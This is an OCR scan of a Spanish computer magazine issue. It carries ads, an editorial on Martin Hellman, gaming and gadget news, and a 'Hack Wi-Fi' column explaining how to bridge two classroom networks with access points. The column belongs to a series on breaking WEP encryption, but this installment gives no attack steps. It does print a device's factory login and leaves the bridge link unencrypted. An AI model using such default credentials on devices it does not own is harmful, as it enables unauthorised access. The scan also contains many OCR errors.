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Un nuevo concepto en proteccion
inteligente para su PC

Seguramente usted ya estara confiando en
una suite de seguridad. Hay muchas de ellas,
pero solo ESET ofrece una solucién unificada
completamente diferente

Puede pensar,

Gracias a su tecnologia ThreatSense®

tiene la habilidad de anticiparse a peligros
potenciales, sin ralentizar su sistema operativo
¥ protegiendo proactivamente su ordenador.

Es inteligente.

Sea también proactivo y pruebe su version de
evaluacion gratuita de 3o dias en
www.esetsmartsecurity.es
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ESET NODz2 Antivirus
ESET NOD32 Antipyware
ESET Personal Firewall
ESET Antispam
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artin Hellman, entrevistado este mes en @RROBA por Mercé

Mollist, es toda una eminencia en cirptografia y, por tanto, en

seguridad informatica. Dice muchisimas cosas interesantes, pe-
ro una de las que mas llama la atencidn es su aseveracion sobre la
alarmante falta de seguridad de Internet. De acuerdo en que no es na-
da nueve, mas bien al contrario, pero esa frase, dicha por alguien co-
mo Hellman, cobra mayor significado y matices. Cuando alguien
experto en criptografia, o mas bien, pionero en criptografia, como es
Hellman; llega a esa conclusion, cunde cierto desanimo, mas que pre-
ocupacion. Porque parece que realmente eso de la seguridad no tiene
solucion. Por mds estudios y divulgacion que se hagan, mas y mayores
parecen los “agujeros” de la Red y de sus herramientas. Y si el mismisi-
mo Martin Hellman lo dice con tanta firmeza, no se puede evitar caer
en la resignacion... Al menos por unos segundos. Poco después, Hell-
man afirma que se esta trabajando incansablemente para solucionar
eso gue parece imposible. ¥, de nuevo, esas palabras, de la boca de
nuestro protagonista, cobran mayor relevancia. Porque si un experto
en criptografia dice que, por mas obstaculos que haya, se puede pro-
teger y asegurar la informacidn, hay que creerle. Pero no por dogma
de fe, sino por su trabajo desde hace tanto tiempo. Su trabajo v el de
otros muchos que hacen posible pensar que podemos movernos con
las espaldas algo mas cubiertas.

arro a,.com
arroba28megamultimedia.com
Megamultimedia, 5.L.

Paseo de Reding, 43, 1°

29016 Milaga
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El deporte electronico despega en Cinegames

El pasado sabado dia 1 de diciembre, se celebré en la sala Cine-
games del Cine Yelmo Cineplex Avenida M-40, el campeanato
de e-sport Cinegames CUP, escogido por esta sala para fomen-
tar el deporte electrdnico en toda Espana.

El deporte, el electronico, que adn no goza del reconocimiento
que tiene en olros paises, hasta tal punto que los equipos profe-
sionales de videojuegos deben utilizar el recurso legal de darse
de alta como clubes deportivos de fiithol para poder competir.
Pese a ello, la sala Cinegames, se abarrotd de curiosos, partici-
pantes y equipos. Durante todo el dia los aficionados pudieron
disfrutar del deporte electrénico en toda su expresion: pudieron
disfrutar gratuitamente de las instalaciones Cinegames para jugar
a titulos como Call of Duty 4, Quake Wars o Gears of War,
ademads de ver el campeonato en curso de Battelfield 2142,

El campeonato no se decidié hasta el final de la noche, cuando
1GEN se llevd el gato al agua resultando vencedor. Next Level
quedd en segundo lugar y los terceros, que se llevaron un pre-
mio compartido, fueron los clanes NAM v Logic3. Todos ellos
han sido premiados con diversos equipos cortesia del patrocina-
dor Packard Bell, que facilitd para jugar este campeonato 8 equi-
pos de alta gama para gaming iPower, valorados cada uno en
2500 euros.

El campeonato se jugd en el modo conquista 8 contra 8 jugado-
res. Como ya sabéis, cada equipo cuenta con 200 tickets al co
mienzo de cada partida, que se van restando dependiendo de
las banderas que gane cada equipo v de las bajas que consiga
en el equipo contrario. El torneo se jugd utilizando el reciente
parche 1.40 de Battelfield 2142,

En cuanto al desarrollo de la final, estuve marcada por la ausen-

cia en el equipo de Next Level de su especialista en el bipode,
robot manejado por un jugador v que tiene una importancia cla-
ve en el mapa Tunis Harbor, el primero del encuentro. El suplen-
te, aunque supo mantener buen nivel, no evitd una abultada
diferencia en la puntuacion en este primer mapa, cuya particla
duro 40 minutos v que obligaba a ambos equipos a wtilizar los
dos bandos durante 20 minutos cada uno. Nextlevel perdid esta
particla con una diferencia considerable en tickets, lo que obliga-
ba a realizar toda una remontada en la segunda ronda.

El segundo mapa, Cerbere Landing, daba pocas posibilidades a
una gran remontada, ya que apenas tenia vehiculos que marca-
ran las diferencias. Aunque Nextlevel estuvo a punto de conse-
guir el milagro, una gran remontada, lo cierto es que se gueds a
las puertas v no pudo igualar la diferencia que va tenia el equipo
1GEN en la primera partida. Tras 40 minutos de tension, la se-
gunda ronda la gand Netxdevel con una comoda ventaja, pero
no suficiente para alzarse con el campeonato, que cayd en ma-
nos de TGEN, lo fQue sUpusD una sorpresa, pues no iba como
equipo favorito,

Una vez mas, se demostrd gue el deporte electronico es igual o
mas divertido que los deportes tradicionales, con mucha tactica,
bajas insospechadas, jugadores reservas, y remontadas imposi-
bles. El deporte también tiene sorpresas, resultados inesperados
y todo tipo de argucias utilizadas por los profesionales para de-
cantar las partidas de su bando, tal ¥ como ocurre en cualquier
estadio de fatbol, por ejemplo.

Cinegames www.cinegames.es ha querido utilizar este evento para
demostrar su apoyo al deporte electronico, desde el jugador que se
acerca a la sala y juega en red por primera vez, hasta el usuario pro-
fesional que participa en campeonatos con miles de euros en juego.

Nuevo reproductor-grabador multimedia Grab’n’GO de Conceptronic

Este grabador de video personal graba sus
peliculas y programas de TV favoritos en el
disco duro incorporado mediante el recepior
analogico de televisidn integrado. Cracias a
su gran capacidad de almacenamiento y a su
ficil configuracion, podrd conectarlo directa-
mente a su televisor v grabar lo que desee.
Con la caracterfstica de grabacion programa-
da, podrd grabar lo que quiera sin tener que
estar presente. La caracteristica TimeShift in-
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cluso le permite “pausar” y grabar la emisidn
en directo de television, por ejemplo cuando
tenga que ir al servicio o reciba una llamada
por teléfono, y seguir viendo después la emi-
sion alll donde la habia dejade. También pue-
de grabar directamente desde su reproductor
de DVD, sintonizador digital terrestre o video
camara.

El CM3PVE se lanza al mercado con una ca-

pacidad de 500GE
[praoximamente os-
tardn disponibles
otras capacidades).
Esta wersidn permi-
te grabar mds de
228 horas de video
de alta calidad y
mids de 656 con
menor calidad.
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Ingo Devices y Agatha Ruiz de la Prada estilizan sus marcos digitales

Lineas rectas y pulidas. Esas son las caracteristicas Que Mejor re-
sumen el nuevo disefo exclusivo que Agatha Ruiz de la Prada
ha plasmado en su nueva entrega de marcos digitales para la co-
leccion de Ingo Devices.

Basicamente orientados al publico femenino, con estas nuevas
opciones, las usuarias contardn con una alternativa diferente al
modelo de lineas curvas. El nuevo aspecto mas rectangular que
se les ha dado a los dispositivos recupera los temas v marca de
la casa de la disenadora, Corazones v Flores como elementos
decorativos exclusivos.

5u diseno exterior original e impecable va acorde con la alta
calidad de reproduccidn de imagen que ofrecen. Los marcos
digitales presentan una pantalla TFT LCD de 7, que garantiza
una increible visualizacidn. Incorpora slots para las tarjetas
de memorias mds populares del mercado (SD/MMC/MS), fa-
cilitando la transferencia de fotos de manera muy prictica v
sencilla,

Eduardo Sanchez se alza con la victoria

Son compatibles con los formatos JPEG v BMP, realizan funcio-
nes de reloj y se acompanan de un mando a distancia.

Asi, sus fotos favoritas se verdn dentro de un marco colorista y
unico que les dard oportunidad para ajustar el formato de vision
(4:3 o el panordmico 16:9); seleccionar el tipo de proyeccion v
rotar las imdgenes de sus seres queridos, sus vacaciones,,,,

en la segunda edicién del ‘Desafio Guitar Hero’

Activision ha organizado en la FNAC de Callao (Madrid), la gran
final del ‘Desafio Guitar Hero', el concurso que la compaiiia ce-
lebra por segunda vez en Espafia para descubrir al mejor juga-
dor nacional de Guitar Hero 3: Legends of Rock a los mandos
de una guitarra Gibson.

Mis de dos mil fans de Guitar Hero se han presentado a las dis-
tintas fases de clasificacidn que Activision ha celebrado durante
el mes de noviembre en las tiendas FNAC de Valencia, Alicante,
Zaragoza, A Corufa, Oviedo, Marhella, Sevilla, San Sebastian de
los Reyes (Madrid), Leganés (Madrid), Murcia, los centros FINAC
de Barcelona, Bilbao v San Sebastidn y en el centro Hipercor de
Las Palmas de Gran Canaria.

Un total de 14 finalistas, llegados de toda Espana, se han dado ci-
ta en la gran final para mostrar su lado mas rockero con el juego
Guitar Hero 3: Legends of Rock. El artista Ariel Rot ha sido el en-
cargado de entregar los premios a los tres primeros clasificados:

ler clasificado - Eduardo Herndndez (Murcia), premiado con un
viaje a Los Angeles para dos personas, para conocer de cerca
como se lleva a cabo el desarrollo del juego Guitar Hero

2do clasificado - Alfredo Barral (Madrid), premiado con una gui-
tarra Epiphone

Jer clasificado - Borja Erice (Bilbao), premiado con una video-
consola Xbox 360 de Microsoft

Mas informacién sobre Guitar Hero en www.guitarhero.es

Internet puede ser mas humano con Weblin

La navegacidn por Internet cobra, al fin, vida:

con los mismos gustos, intereses y necesida-
des. Cualquier pigina web de la Red se con-

Weblin permite innovadoras formas de comu-
nicacién gue no conocen limites. Weblin es
una nueva e increible fdrmula para que la gen-
te con las mismas inquietudes se redna rdpida

y facilmente en Internet: cada usuario, repre-

sentado por una imagen virtual personal pro-
pia (su weblin), aparece ante los demds

(@3

weblins que visitan la misma pagina web, en
el mismo momento. El andnimo universo de la
Red cobra vida y color y se transforma en un
lugar de comunicacion sencilla y directa. Con
un solo clic de ratén puedes iniciar una charla

~con otro avatar, Weblin funciona en todas las

paginas web del mundo (incluidas YouTube,
Google, eBay y facebook) y reline a gente

- vierte en un punto de encuentro,

El registro en Weblin v la descarga del softwa-
re son gratuitos. La instalacidn resulta muy £
cil. En weblin.com cualquier usuario puede
crear su propio perfil y elegir enire una gran
variedad de avatares, o ser creativo y cargar su
propia fotografia.
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A & HACK WIFI

Hacemos un pequenio descanso, a lo que a inyeccion de trafico inalambrico para la ruptu-
ra del protocolo WEP se refiere, para hablar sobre el disefio e instalacion de una red
inalambrica a medida. Algo que siempre me ha parecido muy importante conocer y saber
aplicar. En el texto describiremos los pasos a seguir para disefar e instalar una red
inalambrica a medida, también, no nos dejamos en el tintero conceptos importantes que

hay que ir digiriendo ya.

Saludos de nuevo, queridos lecto-
res. Tranquilos, no ha ocurrido ningtn
error... De nuevo vamos-a hacer una pau-
sa. Dejamos apartado a un lado el rumbo
del Taller inaldmbrico para centrarnos en
un tema que me ha surgido a lo largo del
mes de noviembre,

No es la primera vez que en el medio de
una serie de articulos dedicados a algo es-
pecifico hacemos una pequefia pausa de
un articulo y explicamos algdn tema de in-
terés general. Pues bien, con el articulo
de este mes, sucede lo mismo. Dejaremos
para el proximoe nimero la inyeccion de
trafico inaldmbrico para la ruptura del
protocolo de cifrado WEP v nos centrare-
mos en la instalacion de una red inalam-
brica a medida.

Seguramente a mas de uno, en alguna
ocasion, se ha preguntado si podria reali-
zar un determino montaje con su red
inalambrica. Pero por desconocer esta
tecnologia o por parecerle bastante dificil
no se ha atrevido a comprobarlo y ha
abandonado la idea.

Aunque el articulo de hoy explicard una
determinada instalacion para una deter-
minada red inaldmbrica los pasos a se-
guir pueden ser muy parecidos en otras
circunstancias.

De qué va el asunto

Los que leéis habitualmente mi blog
(http://blog.netting.es) sabéis que estoy
estudiando Sistemas de Telecomunicacion
e Informaticos. Pues bien, resulta que
unos profesores me han propuesto desa-
rrodlar una determinada instalacién inaldm-
brica y cableada para unir dos redes
locales diferentes por tecnologia Wi-Fi.

Lo que me proponian es lo siguiente:

En este ALILA tenemos una conexidn a In-
ternet de 6 megas... El aula estd compues-
ta de unos doce ordenadores de
sobremesa v de unos cuatro o cinco
portitiles. Conectados entre si por un
Switch y un AP (Punto de Acceso). Los or-
denadores de sobremesa se conectan a

través del Switch v los portdtiles a través
del AP,

Queremos conectar este AULA con una
segunda AULA continua a esta. Esta segun-
da AULA, a partir de ahora AULA B, dispo-
ne de una red local mayor, con mds
maquinas y dispositivos que la interconec-
tan. Aungue mds adelante nos centraremos
en su arquitectura fisica, su composicidn y
como esta configurada haremos una pe-
guena descripcion de como estd organiza-
cda el AULA B.

El AULA B dispone de unos veinticinco
ordenadores de sobremesa con distintos
sisternas operativos instalados (Windows
2000 Profesional, Windows 2000 Server,
Windows 2003 Server e incluso varias dis-

tribuciones de GMNU/LINUX, Ubuntu). La
red estd compuesta de unos cinco
Switchs, un AP y dos Routers neutros, dos
Linksys WRT54G v.5 con el software por
defecto.

Lo que se me proponia era unir las dos re-
des locales. Que el AULA B pudiese co-
nectarse con el AULA A y salir a Internet
a través de esta,

Las condiciones eran las siguientes:
Deben de ser dos subredes diferentes.
Deben de utilizar diferentes direcciones
IP para cada subred. Principalmente para

que no haya problemas de solapamiento
de direcciones IP entre las clases.




WLAN

O

Portatiles

Cada subred debe de ser independiente
de la otra, exceptuando la salida a Inter-
net, que debe de ser compartida.

La instalacion del primer AULA no debe
de modificarse, exceptuando la configura-
cion del AP,

La conexidn entre las dos ALULAS debe de
ser por tecnologia Wireless,

Aplicar la maxima seguridad posible.

La conexion Wireless debe de ser entre
dos APs de la misma marca. Simplemen-
te, para adaptarse a el equipamiento del
AULA. Estos APs son Robaotics.

La asignacion de direcciones IP, Mdiscara
de subred, puerta de enlace, Servidores
DNS {principal v secundario) debe de ser
manual, no a través de un servidor DHCP.
Basicamente para administrar los alumnos
sus conexiones de red.

En el AULA B no tendrd una conexidn Wi-
reless,

El ALLA A tendrd conexicn Wireless.

Aparentemente puede parecer bastante
lioso, pero no lo es. Simplemente hay
que organizarse un poco y tener claros

algunos conceptos sobre redes de drea
local.

Empecemos describiendo el ALLA A,

lﬂllﬂl

Arquitectura fisica del AULA A
Para la mejor comprensién de las explica-
ciones vamos utilizar una imagen. Ya
sabéis que una imagen vale mas que mil
palabras ;)

En la imagen observamos varios ordena-
dores de sobremesa conectados a la red
mediante cable UTP 5 y conectores RJ45.
Bastante habitual en redes locales.

Todos estos ordenadores estin conecta-
dos a un conmutador, a un Switch, que
opera en capa 2 del modelo OSI,

En la imagen también encontramos varios
portdtiles que se conectan a la red local
mediante tecnologia Wireless, Los portati-
les trabajan con el estindar IEEE 802.11 b
y IEEE 802.11 g.

Estos PCs se conectan a la red a través de
un Punto de Acceso vy, este a su vez, al
Switch de la red mediante cable.

Todas estas mdquinas (a partir de ahora
hosts) tienen salida a Internet mediante
un Router proporcionado por el ISP (In-
ternet Service Provider. Proveedor de Ser-
vicio a Internet). El Router también
pertenece al mismo segmento de red que
los demds hosts. Vamos, que también
esta conectado en el Switch, para que lo
entendamos mejor.

Cnnf’ ﬁuracmn LAN y WLAN

Ci:rn configuracion nos vamos a referir a

como se ha designado la configuracién
de red [direcciones IP, mascara de su-
bred, puerta de enlace, DNS primario vy
secundario, etc) v como estin interco-
nectados los distintos hosts de la red LAN
y WLAN. También podéis observar la ima-
gen anterior para una mejor compren-
sidn, va que en ella se indican la
configuracién de red.

La red local utiliza como direccion IP de
rec: 192.168.1.0. Que pertenece a la cal-
se C de direcciones IP.

Los ordenadores de sobremesa tienen
asignados manualmente las direcciones
IP. Se empieza a asignar direcciones IP a
partir de direccidén IP 192.168.1.1. Incre-
mentando a uno, por cada host de la red
local, la direccidn de host. Es decir, el si-
guiente ordenador tendrd como direccion
IP: 192.168.1.2. Y asi progresivamente.

Los ordenadores portatiles comienzan en
la direccion IP: 192.168.1.30. Incremen-
tando a uno, por cada portdtil de la red
local, la direccion de host. Coma en el ca-
S0 anterior,

Los dos grupos; portitiles v ordenadores
de sobremesa, utilizan como:

Mascara de subred:
255255 255.0
Fuerta de enlace:
192.168.1.254

DNS primario: 192.168.1.254
DNS secundario: -

Esto en cuanto a portétiles v ordenadores
de sobremesa. Todavia nos queda hablar
del Punto de acceso (AP) y del Router.

El Router tiene asignada la direccion IP:
192.168.1.254
El AP tiene asignada como direccion IP:
192.168.1.14.

La mascara de subred, puerta de enlace
y servidores DMS son iguales que la con-
figuracion de los portitiles v equipos de
sobremesa.

Como nota, recordaros que las direccio-
nes IP; 192.168.1.0 y 192.168.1.255 no se
pueden asignar a un host de la red. La pri-
mera se utiliza como direccidn de red vy la
segunda como direccion de broadcast.
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AULA B

Pasemos ahora ha hablar de la red local
del AULA B.

Arquitectura fisica

::uqnﬁ guracion del KULA B
Al |gual que en el apartado anterior va-
mos a utilizar una imagen para compren-
der mejor las explicaciones expuestas.

Antes de nada, me gustaria aclarar que la
arquitectura de la red es un poco mas ex-
tensa, no realmente como se explica en
este texto. He decido, para hacer mas
sencillas e intuitiva las explicaciones, sim-
plificar un poco la arquitectura de la red
local del AULA B. Digamos que esta red
consta de dos conexiones con salida a In-
ternet en vez de una sola.

En la imagen AULAB podemos ohservar
un Router, proporcionado por el ISP, que

estd conectado a un Swich. Este Switch
interconecta toda la red local. Todos los
demads Switch estan conectados a el.

Los ordenadores de sobremesa de la red
local estin conectados a los diferentes
Switchs. Que como yva hemos expuesto
estan conectados al Switch principal.

Todos los ordenadores utilizan la misma
direccion IP de red, da igual a que Swicth
estén conectados.

La direccion IP de red que utilizan los
ordenadores es: 192,168.3.0

Como mascara de subred:
255.255.255.0

Puerta de enlace: 192.168.1.3

NS Principal: Direccidn IP del servidor
DMS principal del ISP.

DNS Secundaria: Direccion IP del servi-
dor DNS secundario del ISP.

En esta red local tampoco se utiliza un
servidor DHCP, las conexiones de red se
administran manualmente.

Bien. Una vez que hemos estudiado, en-
tendido y comprendido como estin co-
nectadas v configuradas las dos AULAS
pasemos a disefar la conexion por tecno-
logia Wi-Fi.

Configurando el AP Robotics del ALILA A
Antes de seguir con la explicacion es im-
portante aclarar que la conexidn a Inter-
net se encuentra en el AULA A. Por lo
tanto, esta es la red local que dard el ser-
vicio de Internet.

Ya que disponemas de un AP que da ser-
vicio inaldmbrico, aprovechemos las cir-
cunstancias para utilizar este como
NODO de conexion con el ALLA B.

Para contigurar el Robotics AP accedemos
a el mediante el navegador, ya que este
aparato permite configurarlo a través de un
modo grafico, que es mas visual e intuitivo.

Abrimos nuestro navegador favorito y es-
cribimos en la barra de direcciones el pro-
tocolo que vamos a utilizar v la direccidn
IP del AP.

http://192.168.1.14

Al conectarnos con el AP Robotics nos
encontraremos con una ventana de dialo-
g0 que nos pide que nos autentigquemos
mediante Usuario v Contrasefia. La con-
trasena que utiliza el AP por defecto es:

Usuario: admin.
Contrasena: (en blanco)
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Una vez que nos hemos autenticado co-
rrectamente se nos redinigird a la siguien-
te LRL:

http://192.168.1.14/status.htm

Donde podremos sacar informacion muy
interesante de como estd configurado el
AP. Es importante recordar varias cosas.

Para la interfaz Wireless:
ESSID: ALILA

CANAL: 11

M.ﬂif.'.': D0:C0O:49:X00XX: XX

Para la interfaz Ethernet:
Direccion IP: 192.168.1.14
Mascara de subred: 255.255.255.0
Gateway: 192.168.1.254

Estos datos nos serdn de gran ayuda a la
hora configurar el otro NODO Wi-Fi.

5i vamos a la pestana “IP Settings” debe-
mos de comprobar que la direccion IP
LAN del AP es fija, no automadtica, ¥ que
la configuracion esté bien asignada: Di-
reccidn IP, mdscara, gateway. También
debemos fijarnos que el servidor DHCP
del AP esta deshabilitado. Ya comenta-
mos anteriormente que no deseamos gue
la configuracion de red sea automitica.

Pasemos a la pestana siguiente, “Advan-
ced Settings”.

Esta es una de las pestanas mds interesan-
tes del AP. 5i tenemos un buenos conoci-
mientos sobre redes inalimbricas
podremos realizar algunas virguerias, pe-
ro mejor lo dejamos para otro articulo.

En esta pestana debemos de asegurarnos
que el AP trabaje como Access Point
(Punto de acceso). Concretando un poco
mas, este modo es mas conocido como
infraestructura. Interconecta todos los
hots que se conecten a el, unos con
oftros, a través de si mismo.

Otra etiqueta importante es “Dot11Mo-
de” que le indica al AP en que estindar
debe trabajar:

IEEE 02.11 b 48 Megabits por segundo
IEEE 802.11 g 54 MEgabits por segundo.
Ambos (Mixed)

Nosotros vamos a trabajar con todos lo
estindares. Aungue bien podriamos limi-
tar el acceso a clientes con estindar IEEE
802.11 g, no nos repercute lo mas minimo
en la velocidad de la red. Si trabajasemos
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QUEREMOS CONECTAR ESTE AU-
LA CON UNA SEGUNDA AULA
CONTINUA A ESTA. ESTA SEGUN-
DA AULA, A PARTIR DE AHORA
AULA B, DISPONE DE UNA RED
LOCAL MAYOR

con el estindar IEEE 802.11 g los clientes
con hardware IEEE 802.11 b no podrian
conectarse con nosotros, puesto que no
soportan el estindar mds reciente. Como
el AP a parte de funcionar como puente
entre dos redes locales también trabaja
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| enod | Fep

R

como Punto de Acceso para portitiles
que pueden utilizar estindares mas viejos
utilizaremos los dos estindares.

Otro aspecto a tener en cuenta, ya que
nos lo encontramos en esta pestafia, es el
551D de BROADCAST. Una posible medi-
da de seguridad a tener en cuenta. El 551D
de broadcast si se encuentra desactivado
{DISABLE) no envia el nombre de la red
inalambrica, (ESSID) evitando asi que usua-
rios mal intencionados que no pertenecen
a la red WLAN puedan conectarse a ella,
ya que no conocen de antemano el ESSID
de la red. Recordar que para que dos

®:
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hosts inalimbricos puedan conectarse en-
tre ellas deben de tener el mismo ESSID.

Como la instalacidon corresponde a un
AULA donde pasan muchisimos alumnos
a lo largo de todos los afios y no tienen
por gué conocer el ESSID de la red no ac-
tivaremos esta medida de seguridad. Le
facilitaremos las cosas ;)

Otro campo importantisimo para que fun-

cione el AP es tener activado la interfaz
Wireless. Wireless - Enable. Puede pare-
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cer una tonteria pero he visto casos en
los que se intenta conectar con un AP
que no tiene activada la interfaz Wire-
less... Despistes de la gente ;)

Existen otros campos interesantes que
podriamos regular, como por ejemplo la
difusion de los paquetes haliza o beacom
frame. En esta ocasién para simplificar un
poco mds las cosas dejaremos estos cam-
pos por defecto,

Pasemos a la siguiente pestana: “Security”.

Pestafia muy interesante si queremos es-
quivar a esos intrusos molestos en el siste-
ma gue pueden comprometer la seguridad
de nuestros datos.

Creo que sobra decirlo, pero por si las
moscas vamos a recordarlo... jJamds!
JAMAS! jlamds! Debemos de dejar una
contrasena por defecto a ninguna maqui-
na de la red. De lo contrario estaremos fa-
cilitando muchisimo la instruccidn de un
usuario mal intencionado en nuestro siste-
ma. Cambiar las claves por defecto.
Quedais avisados.

Pasemos a hablar un poco de seguridad.
En esta ocasion del filtrado por MAC.

El filtrado por MAC nos permite denegar
0 aceptar estrictamente las direcciones
MAC indicadas.

Normalmente se suele utilizar el filtrado

LOS ORDENADORES DE SOBRE-
MESA DE LA RED LOCAL ESTAN
CONECTADOS A LOS DIFERENTES
SWITCHS. QUE COMO YA HEMOS
EXPUESTO ESTAN CONECTADOS
AL SWITCH PRINCIPAL

por MAC que tan solo permite conectar-
se con el AP unas determinadas direccio-
nes MAC, Todas las direcciones MAC
que no estén en la lista de direcciones
MAC no padrin conectarse con el AP.

En esta acasion utilizaremos activamos
“only allow PCs with MAC listed below to
access device”

Luego indicamos un nombre significativo
para reconocer a que host pertenece di-
cha direccidn MAC. Insertamos la direc-
cion MAC del AP del AULA B y pulsamos
en anadir (“add”). Aplicamos los cambios
(“aplly”) v ya tendremos configurado el
Filtrado MAC.

En “Filter List” podemos observar todas
las direcciones MAC anadidas, vamos, las
fque tienen permiso para conectarse con
el AP.

Para conocer la direccion MAC del AP
del AULA B tan solo hemos de buscarla
en la parte inferior del AP.

e esta manera ya tendremos preparado
el AP del AULA A para trabajar como
NODO o PUENTE.



Desgraciadamente estos APs no permiten
la conexion entre ellos con ningdn tipo
de cifrado, ni siquiera con el protocolo de
citrado WEP. Una pena :(

Lna vez que tenemos configurado el AP A
pasemos a conectar el AP B con el AP A,

Contigurando el AP Robotics del AULA B
Determinar la situacion del AP B en el
AULA es muy importante. Segin la situa-
cidn, cobertura, interferencias, ruido, etc.
Podremos notar una velocidad muy lenta
entre las dos AULAS, perdidas de pague-
tes, incluso la perdida de la conexién. Por
lo tanto, orientar el AP es fundamental.

Vamos a suponer que hemos encontrado
un lugar estupendo para establecer la co-
municacion entre los dos NODOS Wi-Fi.

Lo primero de todo es conectar el AP B a

S/ TRABAJASEMOS CON EL
ESTANDAR IEEE 802.11 G LOS
CLIENTES CON HARDWARE |EEE
802.11 B NO PODRIAN CONECTAR-
SE PUESTO QUE NO SOPORTAN
EL ESTANDAR MAS RECIENTE

un PC mediante un cable de red. Acceder
a el v configurarlo.

Mo me gusta mucho criticar dispositivos,
pero en esta ocasion tengo que decir que
la forma qgue utilizan los APs Robotics pa-
ra poder acceder a ellos es HORRORO-
SO (va me he quedado mas tranquilo).
Tienes que hacerlo a través de un softwa-
re TOTALMENTE inestable, se aplican
cambios v no se guardan los valores mo-
dificados, el software de configuracidn se
bloguea con mucha facilidad, etc.

Lo mas comodo, en mi molesta opinidn,
va sea un Router Ethernet/Wi-Fi o un AP,
es que al pulsar el botdan reset el dispositi-
vo cargue los valores por defecto. Y con
valores por defecto me refiero a un Servi-
dor DHCFP que asigne automdticamente
la configuracion de la red. Es decir, confi-
guras la conexion de red en el PC para
gque obtenga la configuracién de red au-
tomiticamente. Conectas el dispositiva
mediante cable de red al PC. Haces un ip-
config, v finalmente obtienes la direccidn
IF del dispositivo. Que viene a ser la puer-
ta de enlace.

Configurar el AP para poder conectarme
a el me resultéd casi imposible, Cuando
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puede acceder a el lo primero que hice
fue actualizar el firmware a una version
mas reciente. También tuve la brillante
idea de descargarme una aplicacion de
configuracidn mds estable.

Principalmente para poder configurar el

vamos directamente a la pestafa “Basic
Settings”.

En el campo “NAME” indicamos un nom-
bre simbdlico para el AP.

El campo 551D debe de tener el mismo

AP Robotics tienes que
darle algunos valores fun-
damentales. Nombre del
dispositivo (NAME), ES-
SID (Mombre de la red
inalimbrica). Yo he pre-
terido indicar la direccidn
IP del AP manualmente.
Apligué los cambios, se
reinicié el AP y puede
acceder a el, esta vez, sin
problema alguno, Lagica-
mente, antes configuré la
conexion de red del PC
para que el PC y el AP
pudieran establecer co-
nexiones.

La direccidn IP que le
asigne al AP B fue:
192.168.1.15.

Para acceder al AP B:
http://192.168.1.15
Recordar que el usuario
es “admin” (sin comillas)

v el campo contrasefia se
debe de dejar en blanco.

Una vez dentro del AP

String sql = “INSERT INTO users

(Login. pass. rol, creation_date)

VALWES (772 ')

Prepared Statenent st =
sonmettion prepareStatement (sql);

st setString (L. user.getLogin());
sbwsetString(...

) e

MNo escribas el codigo de acceso a datos a mano.
Es repetitivo, aburrido y propenso a errores.

Genera la capa de persistencia de tu aplicacion
en minutos. Asi de sencillo.

Java [Jdbc, Hibernate, JPA, Spring DAQO....],
PHP, .Net, Python....
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valor que el S5ID del AP A. Recordar que
para que nos dispositivos se asocien y se
conecten entre si deben de tener el mis-
mo 5510. Fundamental e importantisimo.

Indicamos el canal (channel), para el caso
utilizamos el canal 11.

Ahora viene lo mds importante y lo que ha-
ce conectarse a los dos dispositivos entre si,

Debemos indicar el modo en el que debe
de trabajar el AP. Para esta ocasion el
Punto de Acceso debe de trabajar como
“AP cliente”. Para conectarlo con el AP

(= }13

del AULA A debemos de pulsar sobre el
botén “Site Survey”. Al pulsar sobre este
botdn se nos abrird una nueva ventana
con las redes inalimbricas detectadas por
la interfaz inalambrica del dispositivo.

Una vez detectadas las redes inalambri-
cas seleccionamos la red inaldmbrica con
la cual deseamos conectarnos. Para el ca-
s0, la red inalimbrica es *AULA".

Pulsamos el hotén “connect” para conec-
tarnos con dicha red inalimbrica y automa-
ticamente se afadira la direccion MAC del
AP B en la etiqueta “Remote AP MAC™,

Por dltimo, aplicamos los cambios.

Pasemos ahora a configurar la conexidn.
Para ello nos vamos a la pestafa: “IP
Settigs”,

En la etiqueta “LAN IP" seleccionamos la
opcion “Fixed IP”. Para utilizar una direc-
cién IP fija.

Insertamos en los diferentes campos la si-
guiente configuracion:

Address: 192.168.1.15 (Direccion IP del
AP B)

Subnet Mask: 255.255.255.0 (Mascara
de subred)

Gateway: 192.168.1.254 (Direccion IP
del Router)

El servidor DHCP debe de estar deshabili-
tado (OFF).

De nuevo, aplicamos los cambios. De es-
te modo hemos configurado el AP B para
conectarse al AP A y que pertenezca a la
misma red que el AP A,

Por dltimo nos dirngimos la pestana “Ad-
vance Settigs”

En esta pestana comprobamos algunos
campos. Que la interfaz Wireless, el SIDD
BROADCAST, y Client Privacy estén acti-
vados (Enabled). La etiqueta “Dot11Mo-
de” debe de tener el valor “Mixed”. El
resto de opciones las dejamos por defec-
to. Por dltimo aplicamos los cambios.

En el STATUS del AP B debemos de tener
esto valores:

Ya hemos terminado con la conexidn puen-
te inaldmbrica con dos NODOS Wi-Fi,

Si ahora conectiramos un PC al AP B me-
diante cable y con la siguiente configura-
cion de red:

Direccion IP: 192.168.1.50
Mascara de subred: 255.255.255.0
Puerta de enlace: 192.168.1.254

DS prim:ip'ﬂ]: 192.168.1.254
DMNS Secundaria: -

Tendriamos conexidn a Internet y perte-
neceriamos a la red local del AULA A.

Ni que decir tiene que la direccién IP pue-
de ser cualguier otra que no esté en uso.

Con esto no hemos completado todavia
nuestre objetivo, nos queda enlazar el



AULA B con el AULA A. Digamos que te-
nemos la mitad del trabajo. Nos queda la
otra mitad, asi como hablar de otras co-
sas a tener en cuenta,

Lo dejamos para el mes que viene.

Conclusiones

Tenia pensado dejar zanjado este tema
en tan solo un articulo, desgraciadamente
el espacio no nos lo ha permitido. Por lo
tanto, tendremos que aplazarlo para el
mes que viene,

Disenar v configurar una red, va sea Ether-
net'o Wi-Fi, puede parecer bastante dificil
si la red es un poco extensa y requiere
unas determinadas caracteristicas. Nada
mas lejos de la realidad. Si se tienen unos
conocimientos bdsicos v fundamentales
sobre redes se puede desarrollar sin
ningin problema cualquier red local. Al fi-
nal es siempre lo mismo, solo varian algu-
nas cosas. Es muy importante saber como
tuncionan los distintos dispositivos que for-

man una red. Ya sea un HUB, un SWITCH,
un AP, un Router, una Tarjeta de red, etc.
Conocer el funcionamiento del protocolo
IP, también es muy importante, asi como
de otros protocolos como ARP.

Todos los conocimientos que podamos
tener siempre nos ayudardn en nuestras
aventuras contra dragones y aceitunas.
Por eso nunca dejéis de aprender cosas
nuevas, seguro que en algin momento os
pueden servir de algo.

Por dltimo, recordaros que tenédis a vuestra
disposicion mi comreo electronico, mi blog ()
donde voy comentando aspectos interesan-
tes sobre seguridad informdtica, noticias v
comunicados referentes a Hack Wi-Fi. Tam-
bién tienes a tu disposicidn un foro donde
poder postear todas las dudas que te puedan
